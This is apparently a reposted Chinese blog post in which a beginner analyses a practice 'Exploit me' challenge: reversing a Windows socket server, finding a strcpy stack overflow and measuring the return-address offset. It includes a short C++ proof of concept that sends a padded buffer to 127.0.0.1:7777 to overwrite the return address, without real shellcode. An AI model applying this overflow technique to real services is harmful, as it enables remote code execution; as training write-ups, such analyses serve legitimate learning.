一个简单的远程溢出漏洞分析

Posted Ox9A82

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一个简单的远程溢出漏洞分析相关的知识,希望对你有一定的参考价值。

人生第一个漏洞分析,好激动。技术分享

因为从来没有接触过漏洞分析方面,以前也只是看过一点书,所以一直想找个东西练练手,结果翻到了看雪Exploit me的题目,本来以为会很难,结果还是很基础的,适合我这样的新手练手。

http://bbs.pediy.com/showthread.php?t=56998

进入正题

首先拿到了一个Windows程序,拖到IDA里打算看一下,结果发现程序逻辑出乎意料的简单。就是一个很常规的SOCKET流程带有一些错误处理。

技术分享

下面详细说明。

技术分享

mov ebp,eax

test ebp,ebp

很明显是对socket函数进行错误处理

技术分享

同样是错误处理,判断accept函数是否执行成功

技术分享

 

这里就是关键了,因为下面就结束连接了,问题肯定出在这里

跟进这个call技术分享技术分享

发现这里有复制的行为,F5看一下,原来是个strcpy

技术分享

同时发现个好玩的地方,这个函数没有建立栈帧,这个函数的确是call进来的不是jmp进来的。

然而却没有栈帧。是通过对esp操作来开辟栈空间和指明返回地址的。

技术分享

那么这里就可以猜到0xC8就是局部变量距离返回地址的大小。

接下来用OD进行调试。

在RET上下断点,可以得到这样。

技术分享

分析栈可知,确实是我们上面猜的那样,就是0x8C的大小。

写了一个简单的socket用来发送shellcode

 1 // EXP.cpp : 定义控制台应用程序的入口点。
 2 //
 3 
 4 #include <winsock2.h>
 5 #include "stdafx.h"
 6 #include "windows.h"
 7 #pragma comment(lib, "Ws2_32.lib ")
 8 char shellcode[] =
 9 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
11 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
12 "AAAAAAAAAAAAAAAAAAAAAA\xCC\xDD\xEE\xFF";
13 int main()
14 {
15     SOCKET MySocket;
16     WSADATA OUTDATA;
17     WSAStartup(MAKEWORD(2, 2), &OUTDATA);
18     MySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
19     sockaddr_in SocketInfo;
20     SocketInfo.sin_family = AF_INET;
21     SocketInfo.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
22     SocketInfo.sin_port = htons(7777);//7777端口通过对目标的bind的函数分析可以得出
23     if (connect(MySocket,(sockaddr *)&SocketInfo,sizeof(SocketInfo))
24         ==SOCKET_ERROR)
25     {
26         MessageBox(NULL, L"error", L"error", 0);
27     }
28     send(MySocket, shellcode, sizeof(shellcode), 0);
29     return 0;
30 }

结果如下技术分享

返回地址被成功覆盖!

技术分享

本来应该写出shellcode的但是因为不会写。。所以,以后再补全吧,待我再研究研究。

漏洞到这里就已经分析清楚了,就是一个简单的strcpy导致的远程溢出漏洞。

以上是关于一个简单的远程溢出漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

Microsoft Windows OpenType Font (OTF)驱动程序栈溢出远程代码执行漏洞(MS11-032)

什么是本地提权漏洞和远程代码执行漏洞?

PHP “shmop_read()”远程整数溢出漏洞

远程NTP服务器存在缓冲区溢出漏洞,允许任意用户使用并以root权限执行任意代码

IIS6远程代码执行漏洞复现CVE-2017-7269

windows下简单的缓冲区溢出之slmail